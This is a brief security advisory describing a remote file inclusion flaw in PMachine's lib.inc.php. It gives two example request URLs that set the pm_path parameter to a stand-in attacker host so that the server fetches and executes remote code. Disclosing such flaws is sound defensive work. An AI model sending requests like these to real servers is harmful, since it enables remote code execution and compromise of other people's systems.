It has been reported that PMachine does not properly handle include files under some circumstances. Because of this, an attacker may be able to remotely execute commands. An attacker can send a malicious request to the vulnerable server, such as http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=.txt with http://attacker.example.com/config.txt or http://victim.example.com/pm/lib.inc.php?pm_path=http://attacker.example.com/&sfx=/badcode.txt with http://attacker.example.com/config/badcode.txt, which can allow the attacker to execute arbitrary code on the vulnerable server.